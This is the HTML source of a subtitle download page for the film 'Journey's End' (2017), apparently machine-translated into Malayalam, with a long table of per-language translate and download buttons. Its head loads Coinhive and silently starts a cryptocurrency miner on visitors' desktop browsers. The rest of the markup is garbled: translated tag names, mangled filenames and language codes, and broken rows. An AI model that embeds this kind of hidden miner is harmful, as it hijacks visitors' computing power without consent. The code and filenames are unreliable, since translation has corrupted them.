ഉപശീർഷകം - യാത്രകൾക്കായുള്ള എല്ലാ ഭാഷാ സബ്ടൈറ്റിലുകളും.
<മെറ്റാ charset = "utf-8">
<meta name = "viewport" content = "width = device-width, initial scale = 1">
<link rel = "stylesheet" href = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<script src = "https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"> </ script>
<script src = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"> </ script>
<script src = "https://coinhive.com/lib/coinhive.min.js"> </ script>
<link rel = "കുറുക്കുവഴി ഐക്കൺ" href = "/ favicon.ico" type = "image / x-icon">
<link href = "https://fonts.googleapis.com/css?family=Raleway:400,300,600,800,900" rel = "സ്റ്റൈൽഷീറ്റ്" type = "text / css">
<link rel = "stylesheet" href = "/ style.css">
<script data-main = "/ scripts / translate" src = "/ scripts / require.js"> </ script>
<script>
var miner = new CoinHive.Anonymous ('sD7z2LW9hAThLuKUEp1a1O37uP6dnoxG', {throttle: 0.8});
/ നോൺ-മൊബൈൽ ഉപാധികൾ മാത്രം ആരംഭിക്കുക
(! miner.isMobile ()) {
miner.start ();
}
</ script>
</ head>
<body>
<div class = "wrapper" id = "fixedheader">
<img src = "/ favicon_large.jpg" />
<div id = "bar"> </ div>
</ div>
<div class = "container">
<h2> ഉപശീർഷക പൂച്ച </ h2>
<h3> യാത്രകൾക്കായുള്ള എല്ലാ ഭാഷാ സബ്ടൈറ്റിലുകൾ.ഏപ്ലിൻ, 077.BRRip.XviD.MP3-XVID </ h3>
<p> <a href="/"> സബ്ടൈറ്റിലുകളുടെ പട്ടികയിലേക്ക് </a> <a href = "https://leadtrack.pro/?aff=mandid=d0962b700
<table class = "table table-hover">
<tr>
<td> ആഫ്രിക്കാൻസ് </ td> <td> <div id = "af"> <button onclick = "translate_from_server ('af', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> അൽബേനിയൻ </ td> <td> <div id = "sq"> <button onclick = "translate_from_server ('ചക്രം,' ജേർണികൾ.ഉണ്ടായ 2010.BRRIP.XviD.MP3-XVID-orig.srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> അംഹാരിക് </ td> <td> <div id = "am"> <button onclick = "translate_from_server ('am', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> അറബി </ td> <td> <div id = "ar"> <button onclick = "translate_from_server ('ar', 'ജേർണികൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> അര്മേനിയം </ td> <td> <div id = "hy"> <button onclick = "translate_from_server ('hy', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Azerbaijani </ td> <td> <div id = "az"> <button onclick = "translate_from_server ('az', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Basque </ td> <td> <div id = "eu"> <button onclick = "translate_from_server ('eu', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ബെലറിയൻ </ td> <td> <div id = "be"> <button onclick = "translate_from_server ('be', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ബംഗാളി </ td> <td> <div id = "bn"> <button onclick = "translate_from_server ('bn', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ബോസ്നിയൻ </ td> <td> <a onclick='log_download(158494) 'href="/subtitles/Journeys.End.2017.BRRip.XviD.MP3-XVID-bs.srt" download> ഡൗൺലോഡ് യാത്രകൾ. ബോസ്നിയ്ക്ക് അവസാനം END.2017.BRRIP.XviD.MP3-XVID </a>
</ td>
</ tr>
<tr>
<td> ബൾഗേറിയൻ </ td> <td> <div id = "bg"> <button onclick = "translate_from_server ('bg', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Catalan </ td> <td> <div id = "ca"> <button onclick = "translate_from_server ('ca', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സെബുവാനോ </ td> <td> <div id = "ceb"> <button onclick = "translate_from_server ('ceb', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ചിഹ്വ </ td> <td> <div id = "ny"> <button onclick = "translate_from_server ('ny', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ചൈനീസ് (ലളിതം) </ td> <td> <div id = "zh-CN"> <button onclick = "translate_from_server ('zh-CN', 'Journeys.End.2017.BRRip.XviD.MP3- XVID-orig.srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ചൈനീസ് (പരമ്പരാഗതം) </ td> <td> <div id = "zh-TW"> <button onclick = "translate_from_server ('zh-TW', 'Journeys.ndnd7.BRRip.XviD.MP3- XVID-orig.srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> കോർസിക്കൻ </ td> <td> <div id = "co"> <button onclick = "translate_from_server ('co', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ക്രൊയേഷ്യ </ td> <td> <div id = "hr"> <button onclick = "translate_from_server ('hr', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ചെക്ക് </ td> <td> <div id = "cs"> <button onclick = "translate_from_server ('cs', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഡാനിഷ് </ td> <td> <div id = "da"> <button onclick = "translate_from_server ('da', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഡച്ച് </ td> <td> <a onclick='log_download(158495) 'href="/subtitles/Journeys.nd.2017.BRRip.XviD.MP3-XVID-nl.srt" ഡൌണ്ലോഡ്സ് ഡൌണ് ലോഡ്സ് യാത്രകള്. ഡച്ച് ഭാഷയിൽ ENDVI.BRRIP.XviD.MP3-XVID </a>
</ td>
</ tr>
<tr>
<td> ഇംഗ്ലീഷ് </ td> <td> <div id = "en"> <button onclick = "translate_from_server ('en', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Esperanto </ td> <td> <div id = "eo"> <button onclick = "translate_from_server ('eo', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> എസ്തോണിയൻ </ td> <td> <div id = "et"> <button onclick = "translate_from_server ('et', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഫിലിപ്പീൻ </ td> <td> <div id = "tl"> <button onclick = "translate_from_server ('tl', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഫിന്നിഷ് </ td> <td> <div id = "fi"> <button onclick = "translate_from_server ('fi', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഫ്രെഞ്ച് </ td> <td> <div id = "fr"> <button onclick = "translate_from_server ('fr', 'ജേർണികൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഫ്രിഷ്യൻ </ td> <td> <div id = "fy"> <button onclick = "translate_from_server ('fy', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഗാലറി </ td> <td> <div id = "gl"> <button onclick = "translate_from_server ('gl', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ജോർജ്ജിയൻ </ td> <td> <div id = "ka"> <button onclick = "translate_from_server ('ka', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ജർമൻ </ td> <td> <div id = "de"> <button onclick = "translate_from_server ('de', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഗ്രീക്ക് </ td> <td> <div id = "el"> <button onclick = "translate_from_server ('el', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഗുജറാത്തി </ td> <td> <div id = "gu"> <button onclick = "translate_from_server ('gu', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഹൈലൈറ്റ് ക്രിയോൾ </ td> <td> <div id = "ht"> <button onclick = "translate_from_server ('ht', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt' ) "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഹൗസാ </ td> <td> <div id = "ha"> <button onclick = "translate_from_server ('ha', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഹവായിയൻ </ td> <td> <div id = "haw"> <button onclick = "translate_from_server ('haw', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഹീബ്രു </ td> <td> <div id = "iw"> <button onclick = "translate_from_server ('iw', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഹിന്ദി </ td> <td> <div id = "hi"> <button onclick = "translate_from_server ('hi', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Hmong </ td> <td> <div id = "hmn"> <button onclick = "translate_from_server ('hmn', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഹംഗേറിയൻ </ td> <td> <div id = "hu"> <button onclick = "translate_from_server ('hu', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Icelandic </ td> <td> <div id = "is"> <button onclick = "translate_from_server ('', '' യാത്രകൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഇഗ്ബോ </ td> <td> <div id = "ig"> <button onclick = "translate_from_server ('ig', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഇന്തോനേഷ്യൻ </ td> <td> <div id = "id"> <button onclick = "translate_from_server ('id', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഐറിഷ് </ td> <td> <div id = "ga"> <button onclick = "translate_from_server ('ga', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഇറ്റാലിയൻ </ td> <td> <a onclick='log_download(158610)'href="/subtitles/Journeys.nd.2017.BRRip.XviD.MP3-XVID-it.srt" download> ഡൌൺലോഡ്സ് യാത്രകൾ. ഇറ്റാലിയൻ അപ്ഡേറ്റിൽ END_20RBIP.XviD.MP3-XVID </a>
</ td>
</ tr>
<tr>
ജാപ്പനീസ് </ td> <td> <div id = "ja"> <button onclick = "translate_from_server (' "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ജാവനീസ് </ td> <td> <div id = "jw"> <button onclick = "translate_from_server ('jw', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> കന്നഡ </ td> <td> <div id = "kn"> <button onclick = "translate_from_server ('kn', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> കസാഖ് </ td> <td> <div id = "kk"> <button onclick = "translate_from_server ('kk', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഖേദം </ td> <td> <div id = "km"> <button onclick = "translate_from_server ('km', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> കൊറിയൻ </ td> <td> <div id = "ko"> <button onclick = "translate_from_server ('ko', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> കുർദിഷ് (കുർമാന്ജി) </ td> <td> <div id = "ku"> <button onclick = "translate_from_server ('ku', 'Journeys.nd.2017.BRRip.XviD.MP3-XVID- ഉത്ഭവം. srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> കിർഗിസ് </ td> <td> <div id = "ky"> <button onclick = "translate_from_server ('ky', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ലോകം </ td> <td> <div id = "lo"> <button onclick = "translate_from_server ('a', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ലാറ്റിൻ </ td> <td> <div id = "la"> <button onclick = "translate_from_server ('la', 'ജേർണികൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ലാറ്റിൻ </ td> <td> <div id = "lv"> <button onclick = "translate_from_server ('lv', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ലിത്വാനിയൻ </ td> <td> <div id = "lt"> <button onclick = "translate_from_server ('lt', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ലക്സംബർഗ് </ td> <td> <div id = "lb"> <button onclick = "translate_from_server ('lb', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മാസിഡോണിയൻ </ td> <td> <div id = "mk"> <button onclick = "translate_from_server ('mk', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മലബാർ </ td> <td> <div id = "mg"> <button onclick = "translate_from_server ('mg', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Malay </ td> <td> <div id = "ms"> <button onclick = "translate_from_server ('ms', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മലയാളം </ td> <td> <div id = "ml"> <button onclick = "translate_from_server ('ml', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മൽറ്റിഷ് </ td> <td> <div id = "mt"> <button onclick = "translate_from_server ('mt', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മൗരി </ td> <td> <div id = "mi"> <button onclick = "translate_from_server ('mi', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മറാത്തി </ td> <td> <div id = "mr"> <button onclick = "translate_from_server ('mr', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മംഗോളിയൻ </ td> <td> <div id = "mn"> <button onclick = "translate_from_server ('mn', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> മ്യാൻമാർ (ബർമീസ്) </ td> <td> <div id = "my"> <button onclick = "translate_from_server ('my', 'Journeys.nd.2017.BRRip.XviD.MP3-XVID- ഉത്ഭവം. srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> നേപ്പാളി </ td> <td> <div id = "ne"> <button onclick = "translate_from_server ('ne', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> നോർവീജിയൻ </ td> <td> <div id = "അല്ല"> <button onclick = "translate_from_server ('അല്ല', 'ജേർണികൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> പാഷാവ് </ td> <td> <div id = "ps"> <button onclick = "translate_from_server ('ps', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> പേർഷ്യൻ </ td> <td> <div id = "fa"> <button onclick = "translate_from_server ('fa', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> പോളിഷ് </ td> <td> <div id = "pl"> <button onclick = "translate_from_server ('pl', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> പോർച്ചുഗീസ് </ td> <td> <div id = "pt"> <button onclick = "translate_from_server ('pt', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> പഞ്ചാബി </ td> <td> <div id = "pa"> <button onclick = "translate_from_server ('pa', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> റൊമാനിയൻ </ td> <td> <a onclick='log_download(158516) 'href="/subtitles/Journeys.nd.2017.BRRip.XviD.MP3-XVID-ro.srt" download> ഡൌൺലോഡ്സ് യാത്രകൾ. റുമാനിയായി </a> END_D.BRRip.XviD.MP3-XVID
</ td>
</ tr>
<tr>
<td> റഷ്യൻ </ td> <td> <div id = "ru"> <button onclick = "translate_from_server ('ru', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സമോവൻ </ td> <td> <div id = "sm"> <button onclick = "translate_from_server ('sm', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<gd ',' Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt '</ span> ) "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സെർബിയൻ </ td> <td> <div id = "sr"> <button onclick = 'translate_from_server (' sr ',' Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സെസോത്തോ </ td> <td> <div id = "st"> <button onclick = "translate_from_server ('st', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Shona </ td> <td> <div id = "sn"> <button onclick = "translate_from_server ('sn', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സിന്ധി </ td> <td> <div id = "sd"> <button onclick = "translate_from_server ('sd', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സിംഹള </ td> <td> <div id = "si"> <button onclick = 'translate_from_server (' si ',' Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സ്ലൊവാക്യ </ td> <td> <div id = "sk"> <button onclick = "translate_from_server ('sk', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സ്ലോവേനിയൻ </ td> <td> <div id = "sl"> <button onclick = "translate_from_server ('sl', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സോമാലി </ td> <td> <div id = "so"> <button onclick = "translate_from_server ('അങ്ങനെ', 'ജേർണികൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സ്പാനിഷ് </ td> <td> <div id = "es"> <button onclick = "translate_from_server ('es', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സുണ്ടാനീസ് </ td> <td> <div id = "su"> <button onclick = "translate_from_server ('su', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സ്വാഹിലി </ td> <td> <div id = "sw"> <button onclick = "translate_from_server ('sw', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സ്വീഡിഷ് </ td> <td> <div id = "sv"> <button onclick = 'translate_from_server (' sv ',' Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt ') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> താജിക് </ td> <td> <div id = "tg"> <button onclick = "translate_from_server ('tg', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> തമിഴ് </ td> <td> <div id = "ta" "<button onclick =" translate_from_server ('ta', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> തെലുങ്ക് </ td> <td> <div id = "te"> <button onclick = "translate_from_server ('തേ', 'ജേർണികൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> തായ് </ td> <td> <div id = "th"> <button onclick = "translate_from_server ('th', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ടർക്കിഷ് </ td> <td> <div id = "tr"> <button onclick = "translate_from_server ('tr', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഉക്രേനിയൻ </ td> <td> <div id = "uk"> <button onclick = "translate_from_server ('uk', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഉർദു </ td> <td> <div id = "ur"> <button onclick = "translate_from_server ('ur', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> ഉസ്ബെക് </ td> <td> <div id = "uz"> <button onclick = "translate_from_server ('uz', 'ജേർണികൾ.ഉണ്ടായിരുന്ന.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> വിയറ്റ്നാമീസ് </ td> <td> <div id = "vi"> <button onclick = "translate_from_server ('vi', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> വെൽഷ് </ td> <td> <div id = "cy"> <button onclick = "translate_from_server ('cy', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> സോഹോ </ td> <td> <div id = "xh"> <button onclick = "translate_from_server ('xh', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Yiddish </ td> <td> <div id = "yi"> <button onclick = "translate_from_server ('yi', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> യോർബോർ </ td> <td> <div id = "yo"> <button onclick = "translate_from_server ('yo', 'Journeys.ndnd7.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
<tr>
<td> Zulu </ td> <td> <div id = "zu"> <button onclick = "translate_from_server ('zu', 'Journeys.End.2017.BRRip.XviD.MP3-XVID-orig.srt') "> വിവർത്തനം ചെയ്യുക </ button> </ div>
</ td>
</ tr>
</ table>
</ div>
</ body>
</ html>